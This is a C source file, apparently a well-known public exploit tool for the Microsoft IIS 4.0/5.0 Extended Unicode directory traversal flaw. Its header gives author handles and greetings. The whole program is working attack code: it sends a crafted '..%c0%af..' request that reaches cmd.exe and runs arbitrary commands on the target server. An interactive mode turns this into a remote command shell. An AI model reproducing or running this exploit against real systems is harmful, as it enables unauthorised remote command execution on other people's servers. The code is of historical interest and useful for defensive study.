/****************************************************************************\
**                                                                          **
**    Microsoft IIS 4.0/5.0 Extended UNICODE Directory Traversal Exploit    **
**      proof of theory exploit cuz it's wednesday and i'm on the couch     **
**                                                                          **
**       brought to you by the letter B, the number 7, optyx, and t12       **
**          optyx - <optyx@uberhax0r.net optyx@newhackcity.net>             **
**          t12 - <t12@uberhax0r.net>                                       **
**                                                                          **
**     greetz go out to aempirei, a gun toatin' gangstah' hustler' player   **
**     motherfucker who isn't with us anymore, miah, who's GTA2 game was    **
**     was most entertaining tonight, Cathy, who provided the trippy light  **
**     to stare at, and to KT, for providing me with hours of decent        **
**     conversation.                                                        **
**                                                                          **
\****************************************************************************/

#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <errno.h>
#include <fcntl.h>

void usage(void)
{
 fprintf(stderr, "usage: ./iis-zank <-t target> <-c 'command' or -i>");
 fprintf(stderr, " [-p port] [-t timeout]\n");
 exit(-1);
}

int main(int argc, char **argv)
{
 int i, j;
 int port=80;
 int timeout=3;
 int interactive=0;
 char temp[1];
 char host[512]="";
 char cmd[1024]="";
 char request[8192]="GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+";
 struct hostent *he;
 struct sockaddr_in s_addr;

 printf("iis-zank_bread_chafer_8000_super_alpha_hyper_pickle.c\n");
 printf("by optyx and t12\n");

 for(i=0;i<argc;i++)
{ if(argv[i][0] == '-') {
for(j=1;j<strlen(argv[i]);j++)
{
switch(argv[i][j])
{
case 't':
strncpy(host, argv[i+1], sizeof(host));
break;
case 'c':
strncpy(cmd, argv[i+1], sizeof(cmd));
break;
case 'h':
usage();
break;
case 'o':
timeout=atoi(argv[i+1]);
break;
case 'p':
port=atoi(argv[i+1]);
break;
case 'i':
interactive=1;
break;
default:
break;
}
}
}
}

 if(!strcmp(host, ""))
{
fprintf(stderr, "specify target host\n");
usage();
}

 if(!strcmp(cmd, "") && !interactive)
{
fprintf(stderr, "specify command to execute\n");
usage();
}

 printf("]- Target - %s:%d\n", host, port);
 if(!interactive)
  printf("]- Command - %s\n", cmd);
 printf("]- Timeout - %d seconds\n", timeout);
 if((he=gethostbyname(host)) == NULL)
{
  fprintf(stderr, "invalid target\n");
usage();
}

 do
  {

if(interactive)
{
  cmd[0]=0;
  printf("\nC> ");
  if(fgets(cmd, sizeof(cmd), stdin) == NULL)
    fprintf(stderr, "gets() error\n");
  cmd[strlen(cmd)-1]='\0';
  if(!strcmp("exit", cmd))
    exit(-1);
}

  for(i=0;i<strlen(cmd);i++)
{
  if(cmd[i]==' ')
  cmd[i]='+';
}

strncpy(request,
   "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+",
   sizeof(request));
  strncat(request, cmd, sizeof(request) - strlen(request));
  strncat(request, "\n", sizeof(request) - strlen(request));

  s_addr.sin_family = PF_INET;
  s_addr.sin_port = htons(port);
  memcpy((char *) &s_addr.sin_addr, (char *) he->h_addr,
  sizeof(s_addr.sin_addr));

  if((i=socket(PF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
{
  fprintf(stderr, "cannot create socket\n");
  exit(-1);
}

  alarm(timeout);
  j = connect(i, (struct sockaddr *) &s_addr, sizeof(s_addr));
  alarm(0);

  if(j==-1)
{
  fprintf(stderr, "cannot connect to %s\n", host);
  exit(-1);
  close(i);
}

if(!interactive)
    printf("]- Sending request: %s\n", request);

  send(i, request, strlen(request), 0);

if(!interactive)
    printf("]- Getting results\n");

  while(recv(i,temp,1, 0)>0)
{
            alarm(timeout);
  printf("%c", temp[0]);
            alarm(0);
}

 }
 while(interactive);

  close(i);
  return 0;
}